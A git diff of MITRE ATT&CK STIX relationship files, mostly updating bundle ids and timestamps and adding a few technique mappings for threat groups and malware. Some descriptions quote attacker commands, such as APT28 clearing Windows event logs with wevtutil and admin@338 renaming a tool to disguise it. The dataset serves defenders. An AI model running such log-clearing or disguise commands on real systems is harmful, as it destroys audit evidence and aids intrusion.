--- a/enterprise-attack/relationship/relationship--4b5bd2c6-b460-401d-8457-005add9037d9.json
+++ b/enterprise-attack/relationship/relationship--4b5bd2c6-b460-401d-8457-005add9037d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a675bbd-2430-4bdb-b6ea-e8360cd5aeb0",
+    "id": "bundle--1b1f712c-7b32-4b1d-9b89-c4e03c600dc9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b5bd2c6-b460-401d-8457-005add9037d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259",
             "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
diff --git a/enterprise-attack/relationship/relationship--4b6bee9b-469e-48ce-84fa-5322de03470a.json b/enterprise-attack/relationship/relationship--4b6bee9b-469e-48ce-84fa-5322de03470a.json
index 2f02a52fa7..2f2491321f 100644
--- a/enterprise-attack/relationship/relationship--4b6bee9b-469e-48ce-84fa-5322de03470a.json
+++ b/enterprise-attack/relationship/relationship--4b6bee9b-469e-48ce-84fa-5322de03470a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--70ef1aa9-7352-465e-aa4d-760d0a32870d",
+    "id": "bundle--4545f38b-f292-4cd4-bb3b-b7432b2216ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b6bee9b-469e-48ce-84fa-5322de03470a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of FakeM use RC4 to encrypt C2 traffic.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
diff --git a/enterprise-attack/relationship/relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1.json b/enterprise-attack/relationship/relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1.json
index b345cdd848..29fcbae24c 100644
--- a/enterprise-attack/relationship/relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1.json
+++ b/enterprise-attack/relationship/relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d05af176-75a8-48ea-ab58-cca782fd665d",
+    "id": "bundle--2d7d96a9-2421-4406-9403-4bbc0030df7d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has cleared event logs using the commands <code>wevtutil cl System</code> and <code>wevtutil cl Security</code>.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--4bf364ad-1e9c-4860-93c0-241da4c81068.json b/enterprise-attack/relationship/relationship--4bf364ad-1e9c-4860-93c0-241da4c81068.json
index f04b391dff..db5a62c9fa 100644
--- a/enterprise-attack/relationship/relationship--4bf364ad-1e9c-4860-93c0-241da4c81068.json
+++ b/enterprise-attack/relationship/relationship--4bf364ad-1e9c-4860-93c0-241da4c81068.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--befa262c-995d-4f5b-9fbf-b57a84abd468",
+    "id": "bundle--5a04ae8c-4c55-45f6-b22e-613d4fcbdf19",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4bf364ad-1e9c-4860-93c0-241da4c81068",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RARSTONE downloads its backdoor component from a C2 server and loads it directly into memory.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
diff --git a/enterprise-attack/relationship/relationship--4c06e313-2cde-494c-a8dc-449649a1afa6.json b/enterprise-attack/relationship/relationship--4c06e313-2cde-494c-a8dc-449649a1afa6.json
index e2ee37e81d..725b35157d 100644
--- a/enterprise-attack/relationship/relationship--4c06e313-2cde-494c-a8dc-449649a1afa6.json
+++ b/enterprise-attack/relationship/relationship--4c06e313-2cde-494c-a8dc-449649a1afa6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fbfa3ffe-8693-4464-9d03-c28d94872edd",
+    "id": "bundle--db0a1067-1c3b-4d95-8d59-f4d3f332448b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4c06e313-2cde-494c-a8dc-449649a1afa6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses Caracachs encryption to encrypt C2 payloads.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e.json b/enterprise-attack/relationship/relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e.json
index 8b43a76a2c..3b25b4d3e5 100644
--- a/enterprise-attack/relationship/relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e.json
+++ b/enterprise-attack/relationship/relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e53f98fb-34ee-41bf-b0d2-ca3c7559efa6",
+    "id": "bundle--b18f3b65-6a50-409d-8389-980e0619b6a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
             "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
diff --git a/enterprise-attack/relationship/relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7.json b/enterprise-attack/relationship/relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7.json
index 9ef84f3358..3c9acd6955 100644
--- a/enterprise-attack/relationship/relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7.json
+++ b/enterprise-attack/relationship/relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0093dc4e-e328-462b-ad97-03296502c608",
+    "id": "bundle--6e11432f-26d9-4dad-a0bf-3c22141bc7c7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain the victim time zone.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b.json b/enterprise-attack/relationship/relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b.json
new file mode 100644
index 0000000000..9508f50ecb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d3e156da-5d17-4644-a314-271fec1f37b0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER malware xxmm contains a UAC bypass tool for privilege escalation.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00.json b/enterprise-attack/relationship/relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00.json
index d472eb9922..110d597992 100644
--- a/enterprise-attack/relationship/relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00.json
+++ b/enterprise-attack/relationship/relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a73bbabe-5312-4852-a727-55da8a165eea",
+    "id": "bundle--da5cdccd-3831-44a2-b275-b30ddf450dfa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands such as <code>net use</code> and <code>net session</code> can be used in Net to gather information about network connections from a particular host.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711.json b/enterprise-attack/relationship/relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711.json
index fc223c9ea1..7f911374d7 100644
--- a/enterprise-attack/relationship/relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711.json
+++ b/enterprise-attack/relationship/relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac798fcf-c6f3-4fe3-a262-dcceddffd977",
+    "id": "bundle--2481abeb-960a-498b-8546-da5dfff21448",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to collect the victim PC name and operating system.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e.json b/enterprise-attack/relationship/relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e.json
index f65626e60e..be4f57c160 100644
--- a/enterprise-attack/relationship/relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e.json
+++ b/enterprise-attack/relationship/relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f477fe10-8492-4af4-ad4d-655f9ae2fbd0",
+    "id": "bundle--8dedf2c4-65bb-431a-bf4a-1292d515d31f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can query for information contained within the Windows Registry.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5.json b/enterprise-attack/relationship/relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5.json
index 1635d1b266..603784943c 100644
--- a/enterprise-attack/relationship/relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5.json
+++ b/enterprise-attack/relationship/relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af7c0e14-76df-46d2-9307-290d41397102",
+    "id": "bundle--8cfd5fa4-fb74-49e5-a9f1-0fd019f81375",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--4cc8afb8-86ab-4537-926f-3178975a7886.json b/enterprise-attack/relationship/relationship--4cc8afb8-86ab-4537-926f-3178975a7886.json
index f5d4afced0..948a7b9087 100644
--- a/enterprise-attack/relationship/relationship--4cc8afb8-86ab-4537-926f-3178975a7886.json
+++ b/enterprise-attack/relationship/relationship--4cc8afb8-86ab-4537-926f-3178975a7886.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0fe1a2d3-20c0-4a39-8bc8-52814e2e31b8",
+    "id": "bundle--02e4cfba-76df-497f-b483-608aea6887aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4cc8afb8-86ab-4537-926f-3178975a7886",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--4ce0f95f-577c-4a02-a355-328cf376ceba.json b/enterprise-attack/relationship/relationship--4ce0f95f-577c-4a02-a355-328cf376ceba.json
new file mode 100644
index 0000000000..8198b247c4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4ce0f95f-577c-4a02-a355-328cf376ceba.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--54d62958-d9f2-474e-8563-c321d880b637",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4ce0f95f-577c-4a02-a355-328cf376ceba",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7",
+            "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--4ce5e752-97d6-4803-a49c-0f905729a133.json b/enterprise-attack/relationship/relationship--4ce5e752-97d6-4803-a49c-0f905729a133.json
index 170141a6d3..f449273b61 100644
--- a/enterprise-attack/relationship/relationship--4ce5e752-97d6-4803-a49c-0f905729a133.json
+++ b/enterprise-attack/relationship/relationship--4ce5e752-97d6-4803-a49c-0f905729a133.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--751ef221-3914-4944-8918-9f66e4738792",
+    "id": "bundle--097e637d-2e52-4045-a915-651c3471486d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--4d3e4232-1330-45a9-9e90-9914eed276a5.json b/enterprise-attack/relationship/relationship--4d3e4232-1330-45a9-9e90-9914eed276a5.json
index bcb0c087f8..b1b3fe9d27 100644
--- a/enterprise-attack/relationship/relationship--4d3e4232-1330-45a9-9e90-9914eed276a5.json
+++ b/enterprise-attack/relationship/relationship--4d3e4232-1330-45a9-9e90-9914eed276a5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c003b61-1006-411d-a524-9cd57e3885a5",
+    "id": "bundle--a99a2f7b-1096-4c3f-9bd5-7cbef1b81d25",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d3e4232-1330-45a9-9e90-9914eed276a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424.json b/enterprise-attack/relationship/relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424.json
index e7f8774890..ef13f53966 100644
--- a/enterprise-attack/relationship/relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424.json
+++ b/enterprise-attack/relationship/relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--414c8c8a-6486-4c86-bf09-bf1707f9a2c5",
+    "id": "bundle--47f1ba67-93d2-49ba-9f2a-d355f4232a92",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type uses HTTP for C2.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade.json b/enterprise-attack/relationship/relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade.json
index 24d336030d..3b1c1ba0ee 100644
--- a/enterprise-attack/relationship/relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade.json
+++ b/enterprise-attack/relationship/relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a62675a1-0a78-4c73-bc18-1cfb6c652238",
+    "id": "bundle--48073cca-0c9a-498d-bab3-b637d2d90e65",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has updated and modified its malware, resulting in different hash values that evade detection.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
diff --git a/enterprise-attack/relationship/relationship--4d6def4b-69cf-4dca-848b-53de73536ad6.json b/enterprise-attack/relationship/relationship--4d6def4b-69cf-4dca-848b-53de73536ad6.json
index 2ce89a3be6..71e90064f4 100644
--- a/enterprise-attack/relationship/relationship--4d6def4b-69cf-4dca-848b-53de73536ad6.json
+++ b/enterprise-attack/relationship/relationship--4d6def4b-69cf-4dca-848b-53de73536ad6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aec6667a-04bd-48b5-924f-26fa8bec5d1d",
+    "id": "bundle--2e288124-552b-42c1-9aa9-8565e01bfddd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d6def4b-69cf-4dca-848b-53de73536ad6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987",
             "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
diff --git a/enterprise-attack/relationship/relationship--4d7add6f-ebd5-477f-9958-a5176835da2e.json b/enterprise-attack/relationship/relationship--4d7add6f-ebd5-477f-9958-a5176835da2e.json
index 84dda79faa..852d654c12 100644
--- a/enterprise-attack/relationship/relationship--4d7add6f-ebd5-477f-9958-a5176835da2e.json
+++ b/enterprise-attack/relationship/relationship--4d7add6f-ebd5-477f-9958-a5176835da2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63c6a8bb-fef8-40cb-8d7f-6303b467be2b",
+    "id": "bundle--30b2930b-4467-41b7-a671-c8aeacb355a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d7add6f-ebd5-477f-9958-a5176835da2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4.json b/enterprise-attack/relationship/relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4.json
new file mode 100644
index 0000000000..e0f4e34d23
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--de09ac44-6fda-4041-a245-b3d3a191af11",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can enumerate current network connections. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905.json b/enterprise-attack/relationship/relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905.json
index 355a8045b5..0a3e111f63 100644
--- a/enterprise-attack/relationship/relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905.json
+++ b/enterprise-attack/relationship/relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40970c99-1f72-4539-bde1-d1f101191acc",
+    "id": "bundle--e5061283-be60-4b17-82ea-b599f9a2c5f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to search for a given process name in processes currently running in the system.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6.json b/enterprise-attack/relationship/relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6.json
index 86a90620ba..ae6a8dac18 100644
--- a/enterprise-attack/relationship/relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6.json
+++ b/enterprise-attack/relationship/relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7fb764a-ec4c-4396-99cd-d6db635b0d87",
+    "id": "bundle--4ddc1fd7-2c9c-4ec5-9746-69cc41bf714a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command to rename one of their tools to a benign file name: <code>ren \"%temp%\\upload\" audiodg.exe</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
diff --git a/enterprise-attack/relationship/relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8.json b/enterprise-attack/relationship/relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8.json
index 2c4dbc675b..aa7de7259c 100644
--- a/enterprise-attack/relationship/relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8.json
+++ b/enterprise-attack/relationship/relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--01504bb9-d0f2-4481-a49b-cbfe4e68d08e",
+    "id": "bundle--d52f5a3d-edbd-4889-b087-9271badb58f7",
     "spec_version": "2.0",
     "objects": [
